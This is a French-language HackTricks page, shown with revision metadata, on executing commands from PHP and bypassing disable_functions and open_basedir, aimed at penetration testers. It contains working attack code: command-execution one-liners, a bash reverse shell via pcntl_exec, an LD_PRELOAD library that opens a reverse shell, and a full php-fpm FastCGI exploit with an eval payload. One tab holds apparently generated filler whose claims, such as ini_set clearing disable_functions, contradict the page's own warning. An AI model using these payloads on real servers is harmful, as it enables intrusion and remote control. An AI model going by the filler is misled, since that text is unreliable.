hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md

698 lines
31 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# PHP - Fonctions utiles et contournement des fonctions désactivées / open_basedir
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
## Exécution de commandes et de code PHP
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
### Exécution de commandes PHP
2023-06-03 13:10:46 +00:00
**exec** - Retourne la dernière ligne de la sortie des commandes
```bash
echo exec("uname -a");
```
2023-06-03 13:10:46 +00:00
**passthru** - Passe la sortie des commandes directement au navigateur
```bash
echo passthru("uname -a");
```
2023-06-03 13:10:46 +00:00
**system** - Transmet la sortie des commandes directement au navigateur et renvoie la dernière ligne
```bash
echo system("uname -a");
```
2023-06-03 13:10:46 +00:00
**shell\_exec** - Renvoie la sortie des commandes
```bash
echo shell_exec("uname -a");
```
2023-06-03 13:10:46 +00:00
\`\` (backticks) - Identique à shell\_exec()
```bash
echo `uname -a`
```
2023-06-03 13:10:46 +00:00
**popen** - Ouvre un tube en lecture ou en écriture vers un processus d'une commande.
```bash
echo fread(popen("/bin/ls /", "r"), 4096);
```
2023-06-03 13:10:46 +00:00
**proc\_open** - Similaire à popen() mais avec un degré de contrôle plus élevé
```bash
proc_close(proc_open("uname -a",array(),$something));
```
2021-11-30 16:46:07 +00:00
**preg\_replace**
2021-01-22 11:04:57 +00:00
2023-06-03 13:10:46 +00:00
La fonction `preg_replace` est une fonction PHP qui permet de remplacer des occurrences d'une expression régulière dans une chaîne de caractères par une autre chaîne de caractères. Cette fonction est souvent utilisée en conjonction avec des expressions régulières pour effectuer des opérations de recherche et de remplacement avancées sur des chaînes de caractères.
2021-01-22 11:04:57 +00:00
```php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
```
2023-06-03 13:10:46 +00:00
**pcntl\_exec** - Exécute un programme (par défaut dans les versions modernes et moins modernes de PHP, vous devez charger le module `pcntl.so` pour utiliser cette fonction)
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
2023-06-03 13:10:46 +00:00
**mail / mb\_send\_mail** - Cette fonction est utilisée pour envoyer des mails, mais elle peut également être utilisée pour injecter des commandes arbitraires dans le paramètre `$options`. Cela est dû au fait que la fonction **php `mail`** appelle généralement le binaire `sendmail` du système et permet de **mettre des options supplémentaires**. Cependant, vous ne pourrez pas voir la sortie de la commande exécutée, il est donc recommandé de créer un script shell qui écrit la sortie dans un fichier, de l'exécuter en utilisant la fonction mail, et d'afficher la sortie :
```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```
2023-06-03 13:10:46 +00:00
**dl** - Cette fonction peut être utilisée pour charger dynamiquement une extension PHP. Cette fonction ne sera pas toujours présente, vous devez donc vérifier si elle est disponible avant d'essayer de l'exploiter. Lisez [cette page pour apprendre comment exploiter cette fonction](disable\_functions-bypass-dl-function.md).
2023-06-03 13:10:46 +00:00
### Exécution de code PHP
2020-11-15 01:05:42 +00:00
2023-06-03 13:10:46 +00:00
Outre eval, il existe d'autres moyens d'exécuter du code PHP: include/require peut être utilisé pour l'exécution de code à distance sous forme de vulnérabilités d'inclusion de fichier local et d'inclusion de fichier distant.\
**${\<php code>}** - Si votre entrée est reflétée dans une chaîne PHP, elle sera exécutée.\
**eval()**\
2023-06-03 13:10:46 +00:00
**assert()** - identique à eval()\
**preg\_replace('/.\*/e',...)** - /e effectue un eval() sur la correspondance\
**create\_function()** - Créez une fonction et utilisez eval()\
**include()**\
2021-11-30 16:46:07 +00:00
**include\_once()**\
**require()**\
2021-11-30 16:46:07 +00:00
**require\_once()**\
**$\_GET\['func\_name']\($\_GET\['argument']);**\
**$func = new ReflectionFunction($\_GET\['func\_name']);**\
2023-06-03 13:10:46 +00:00
**$func->invoke();** ou\
**$func->invokeArgs(array());**\
**serialize/unserialize**
2022-07-21 20:01:55 +00:00
## disable\_functions & open\_basedir
2023-06-03 13:10:46 +00:00
**Les fonctions désactivées** sont les paramètres qui peuvent être configurés dans les fichiers `.ini` en PHP qui **interdisent** l'utilisation des **fonctions** indiquées. **Open basedir** est le paramètre qui indique à PHP le dossier qu'il peut accéder.\
Le paramètre PHP doit être configuré dans le chemin _/etc/php7/conf.d_ ou similaire.
2023-06-03 13:10:46 +00:00
Les deux configurations peuvent être vues dans la sortie de **`phpinfo()`**:
![](https://0xrick.github.io/images/hackthebox/kryptos/17.png)
![](<../../../../.gitbook/assets/image (347).png>)
2022-07-21 20:01:55 +00:00
## open\_basedir Bypass
2023-06-03 13:10:46 +00:00
`open_basedir` configurera les dossiers auxquels PHP peut accéder, vous **ne pourrez pas écrire/lire/exécuter de fichier en dehors** de ces dossiers, mais vous **ne pourrez même pas lister** d'autres répertoires.\
Cependant, si vous êtes capable d'exécuter du code PHP arbitraire, vous pouvez **essayer** le morceau de **code** suivant pour essayer de **contourner** la restriction.
2022-07-21 20:01:55 +00:00
### Listing dirs with glob:// bypass
2023-06-03 13:10:46 +00:00
Dans ce premier exemple, le protocole `glob://` avec un contournement de chemin est utilisé:
```php
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
```
2023-06-03 13:10:46 +00:00
**Note1**: Dans le chemin, vous pouvez également utiliser `/e??/*` pour lister `/etc/*` et tout autre dossier.\
**Note2**: Il semble que certaines parties du code soient dupliquées, mais c'est en fait nécessaire!\
**Note3**: Cet exemple est uniquement utile pour lister des dossiers et non pour lire des fichiers.
2023-06-03 13:10:46 +00:00
### Contournement complet de open\_basedir en abusant de FastCGI
2023-06-03 13:10:46 +00:00
Si vous voulez **en savoir plus sur PHP-FPM et FastCGI**, vous pouvez lire la [première section de cette page](disable\_functions-bypass-php-fpm-fastcgi.md).\
Si **`php-fpm`** est configuré, vous pouvez l'exploiter pour contourner complètement **open\_basedir** :
2022-09-30 10:43:59 +00:00
![](<../../../../.gitbook/assets/image (350).png>)
2022-09-30 10:43:59 +00:00
![](<../../../../.gitbook/assets/image (349).png>)
2023-06-03 13:10:46 +00:00
Notez que la première chose à faire est de trouver où se trouve le **socket unix de php-fpm**. Il est généralement situé sous `/var/run`, vous pouvez donc **utiliser le code précédent pour lister le répertoire et le trouver**.\
Code provenant de [ici](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
```php
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
```
2023-06-03 13:10:46 +00:00
Ces scripts communiqueront avec le **socket Unix de php-fpm** (généralement situé dans /var/run si fpm est utilisé) pour exécuter du code arbitraire. Les paramètres `open_basedir` seront écrasés par l'attribut **PHP\_VALUE** qui est envoyé.\
Notez comment `eval` est utilisé pour exécuter le code PHP que vous envoyez dans le paramètre **cmd**.\
Notez également la **ligne 324 commentée**, vous pouvez la décommenter et la **charge utile se connectera automatiquement à l'URL donnée et exécutera le code PHP** qu'elle contient.\
Accédez simplement à `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` pour obtenir le contenu du fichier `/etc/passwd`.
{% hint style="warning" %}
2023-06-03 13:10:46 +00:00
Vous pourriez penser que de la même manière que nous avons écrasé la configuration `open_basedir`, nous pouvons **écraser `disable_functions`**. Eh bien, essayez-le, mais cela ne fonctionnera pas, apparemment **`disable_functions` ne peut être configuré que dans un fichier de configuration php `.ini`** et les modifications que vous effectuez en utilisant PHP\_VALUE ne seront pas efficaces sur ce paramètre spécifique.
{% endhint %}
2023-06-03 13:10:46 +00:00
## Contourner disable\_functions
2023-06-03 13:10:46 +00:00
Si vous parvenez à exécuter du code PHP à l'intérieur d'une machine, vous voudrez probablement passer au niveau suivant et **exécuter des commandes système arbitraires**. Dans cette situation, il est courant de découvrir que la plupart ou toutes les **fonctions PHP** qui permettent d'**exécuter des commandes système ont été désactivées** dans **`disable_functions`.**\
Voyons donc comment vous pouvez contourner cette restriction (si vous le pouvez)
2023-06-03 13:10:46 +00:00
### Découverte automatique de contournement
2020-11-14 18:54:23 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez utiliser l'outil [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) et il vous indiquera quelle fonction (le cas échéant) vous pouvez utiliser pour **contourner** **`disable_functions`**.
2020-11-14 18:54:23 +00:00
2023-06-03 13:10:46 +00:00
### Contourner en utilisant d'autres fonctions système
2023-06-03 13:10:46 +00:00
Revenez simplement au début de cette page et **vérifiez si l'une des fonctions d'exécution de commandes n'est pas désactivée et disponible dans l'environnement**. Si vous en trouvez une seule, vous pourrez l'utiliser pour exécuter des commandes système arbitraires.
2023-06-03 13:10:46 +00:00
### Contournement LD\_PRELOAD
2023-06-03 13:10:46 +00:00
Il est bien connu que certaines fonctions en PHP comme `mail()` vont **exécuter des binaires à l'intérieur du système**. Par conséquent, vous pouvez les abuser en utilisant la variable d'environnement `LD_PRELOAD` pour les faire charger une bibliothèque arbitraire qui peut exécuter n'importe quoi.
2023-06-03 13:10:46 +00:00
#### Fonctions qui peuvent être utilisées pour contourner disable\_functions avec LD\_PRELOAD
2020-11-14 18:54:23 +00:00
1. `mail`
2023-06-03 13:10:46 +00:00
2. `mb_send_mail` : Si votre système a le module `php-mbstring` installé, cette fonction peut être utilisée pour contourner les `disable_functions` de PHP.
3. `imap_mail` : Si votre système a le module `php-imap` installé, cette fonction peut également être utilisée pour contourner les `disable_functions` de PHP.
4. `libvirt_connect` : Si votre système a le module `php-libvirt-php` installé, cette fonction peut également être utilisée pour contourner les `disable_functions`.
5. `gnupg_init` : Si votre système a le module `php-gnupg` installé, cette fonction peut également être utilisée pour contourner les `disable_functions`.
6. `new imagick()`: Vous pouvez [**trouver ici un article**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) pour apprendre comment abuser de cette classe.
2020-11-14 18:54:23 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez trouver [**ici**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) le script de fuzzing qui a été utilisé pour trouver ces fonctions.
2020-11-14 18:54:23 +00:00
2023-06-03 13:10:46 +00:00
Voici une bibliothèque que vous pouvez compiler pour abuser de la variable d'environnement `LD_PRELOAD`:
2020-11-14 18:54:23 +00:00
```php
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
```
2023-06-03 13:10:46 +00:00
#### Contournement en utilisant Chankro
2020-11-14 18:54:23 +00:00
2023-06-03 13:10:46 +00:00
Pour exploiter cette mauvaise configuration, vous pouvez utiliser [**Chankro**](https://github.com/TarlogicSecurity/Chankro). C'est un outil qui va **générer une exploitation PHP** que vous devez télécharger sur le serveur vulnérable et l'exécuter (y accéder via le web).\
**Chankro** écrira dans le disque de la victime la **bibliothèque et le shell inversé** que vous souhaitez exécuter et utilisera le **truc `LD_PRELOAD` + la fonction PHP `mail()`** pour exécuter le shell inversé.
2023-06-03 13:10:46 +00:00
Notez que pour utiliser **Chankro**, `mail` et `putenv` **ne peuvent pas apparaître dans la liste des `disable_functions`**.\
Dans l'exemple suivant, vous pouvez voir comment **créer une exploitation chankro** pour **arch 64**, qui exécutera `whoami` et enregistrera la sortie dans _/tmp/chankro\_shell.out_, chankro va **écrire la bibliothèque et la charge utile** dans _/tmp_ et l'**exploit final** va s'appeler **bicho.php** (c'est le fichier que vous devez télécharger sur le serveur de la victime):
{% tabs %}
{% tab title="shell.sh" %}
```php
#!/bin/sh
whoami > /tmp/chankro_shell.out
```
{% endtab %}
2023-06-03 13:10:46 +00:00
{% tab title="Fonctions utiles PHP pour contourner disable_functions et open_basedir" %}
# Fonctions utiles PHP pour contourner disable_functions et open_basedir
Lorsque vous êtes en train de pirater un serveur Web, il est possible que vous rencontriez des restrictions telles que `disable_functions` et `open_basedir`. Dans ce cas, vous pouvez utiliser les fonctions PHP suivantes pour contourner ces restrictions.
## Fonctions utiles
### `dl()`
La fonction `dl()` permet de charger dynamiquement une extension PHP. Elle peut être utilisée pour charger une extension qui n'est pas incluse dans la configuration PHP actuelle. Cette fonction est souvent désactivée dans les configurations PHP par défaut, mais elle peut être activée dans certaines configurations.
```php
dl("chemin/vers/extension.so");
```
### `proc_open()`
La fonction `proc_open()` permet d'exécuter une commande et de récupérer les flux de sortie. Elle peut être utilisée pour exécuter des commandes système qui sont normalement interdites par `disable_functions`.
```php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin est une pipe où le processus va lire
1 => array("pipe", "w"), // stdout est une pipe où le processus va écrire
2 => array("pipe", "w") // stderr est une pipe où le processus va écrire
);
$process = proc_open("commande interdite", $descriptorspec, $pipes);
$output = stream_get_contents($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
```
### `popen()`
La fonction `popen()` permet d'ouvrir un processus en lecture ou en écriture. Elle peut être utilisée pour exécuter des commandes système qui sont normalement interdites par `disable_functions`.
```php
$handle = popen("commande interdite", "r");
$output = fread($handle, 1024);
pclose($handle);
```
### `system()`
La fonction `system()` permet d'exécuter une commande et d'afficher la sortie. Elle peut être utilisée pour exécuter des commandes système qui sont normalement interdites par `disable_functions`.
```php
system("commande interdite");
```
### `passthru()`
La fonction `passthru()` permet d'exécuter une commande et d'afficher la sortie brute. Elle peut être utilisée pour exécuter des commandes système qui sont normalement interdites par `disable_functions`.
```php
passthru("commande interdite");
```
### `shell_exec()`
La fonction `shell_exec()` permet d'exécuter une commande et de récupérer la sortie. Elle peut être utilisée pour exécuter des commandes système qui sont normalement interdites par `disable_functions`.
```php
$output = shell_exec("commande interdite");
```
### `exec()`
La fonction `exec()` permet d'exécuter une commande et de récupérer la sortie. Elle peut être utilisée pour exécuter des commandes système qui sont normalement interdites par `disable_functions`.
```php
exec("commande interdite", $output);
print_r($output);
```
### `mail()`
La fonction `mail()` permet d'envoyer un e-mail. Elle peut être utilisée pour envoyer des informations sensibles à une adresse e-mail contrôlée par l'attaquant.
```php
mail("adresse@attaquant.com", "Sujet", "Message");
```
### `putenv()`
La fonction `putenv()` permet de définir une variable d'environnement. Elle peut être utilisée pour contourner `open_basedir` en définissant une nouvelle variable `PATH`.
```php
putenv("PATH=/chemin/vers/extension:/usr/local/bin:/usr/bin:/bin");
```
### `ini_set()`
La fonction `ini_set()` permet de modifier la valeur d'une option de configuration PHP. Elle peut être utilisée pour contourner `disable_functions` en modifiant la valeur de `disable_functions`.
```php
ini_set("disable_functions", "");
```
## Conclusion
Ces fonctions peuvent être utiles pour contourner les restrictions de sécurité lors de l'exploitation d'un serveur Web. Cependant, il est important de noter que leur utilisation peut être détectée par les administrateurs système et peut entraîner des conséquences graves. Il est donc recommandé de les utiliser avec prudence et de les combiner avec d'autres techniques d'évasion.
```bash
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
```
{% endtab %}
{% endtabs %}
2023-06-03 13:10:46 +00:00
Si vous constatez que la fonction **mail** est bloquée par des fonctions désactivées, vous pouvez toujours utiliser la fonction **mb\_send\_mail**.\
Plus d'informations sur cette technique et Chankro ici: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/)
2023-06-03 13:10:46 +00:00
### "Bypass" en utilisant les capacités de PHP
2023-06-03 13:10:46 +00:00
Notez qu'en utilisant **PHP**, vous pouvez **lire et écrire des fichiers, créer des répertoires et modifier les autorisations**.\
Vous pouvez même **dump des bases de données**.\
Peut-être qu'en utilisant **PHP** pour **énumérer** la boîte, vous pouvez trouver un moyen d'escalader les privilèges/exécuter des commandes (par exemple, en lisant une clé ssh privée).
2023-06-03 13:10:46 +00:00
J'ai créé un webshell qui facilite grandement l'exécution de ces actions (notez que la plupart des webshells vous offriront également ces options): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
2023-06-03 13:10:46 +00:00
### Bypass dépendant des modules/version
2023-06-03 13:10:46 +00:00
Il existe plusieurs façons de contourner les fonctions désactivées si un module spécifique est utilisé ou si une version PHP spécifique est exploitée:
2022-07-21 20:01:55 +00:00
* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md)
2023-06-03 13:10:46 +00:00
* [**Bypass avec FFI - Foreign Function Interface activé**](broken-reference/)
2022-07-21 20:01:55 +00:00
* [**Bypass via mem**](disable\_functions-bypass-via-mem.md)
* [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md)
2023-06-03 13:10:46 +00:00
* [**Extension Perl Safe\_mode de PHP**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
* [**Fonction dl**](disable\_functions-bypass-dl-function.md)
* [**Cet exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
* 5.\* - exploitable avec des modifications mineures du PoC
* 7.0 - toutes les versions à ce jour
* 7.1 - toutes les versions à ce jour
* 7.2 - toutes les versions à ce jour
* 7.3 - toutes les versions à ce jour
* 7.4 - toutes les versions à ce jour
* 8.0 - toutes les versions à ce jour
* [**Exploit de 7.0 à 8.0 (Unix uniquement)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
2022-04-05 22:24:52 +00:00
* [**PHP 7.0=7.4 (\*nix)**](disable\_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)
* [**Imagick 3.3.0 PHP >= 5.4**](disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
* [**PHP 5.x Shellsock**](disable\_functions-php-5.x-shellshock-exploit.md)
* [**PHP 5.2.4 ionCube**](disable\_functions-php-5.2.4-ioncube-extension-exploit.md)
* [**PHP <= 5.2.9 Windows**](disable\_functions-bypass-php-less-than-5.2.9-on-windows.md)
* [**PHP 5.2.4/5.2.5 cURL**](disable\_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
2023-06-03 13:10:46 +00:00
* [**PHP 5.2.3 -Win32std**](disable\_functions-bypass-php-5.2.3-win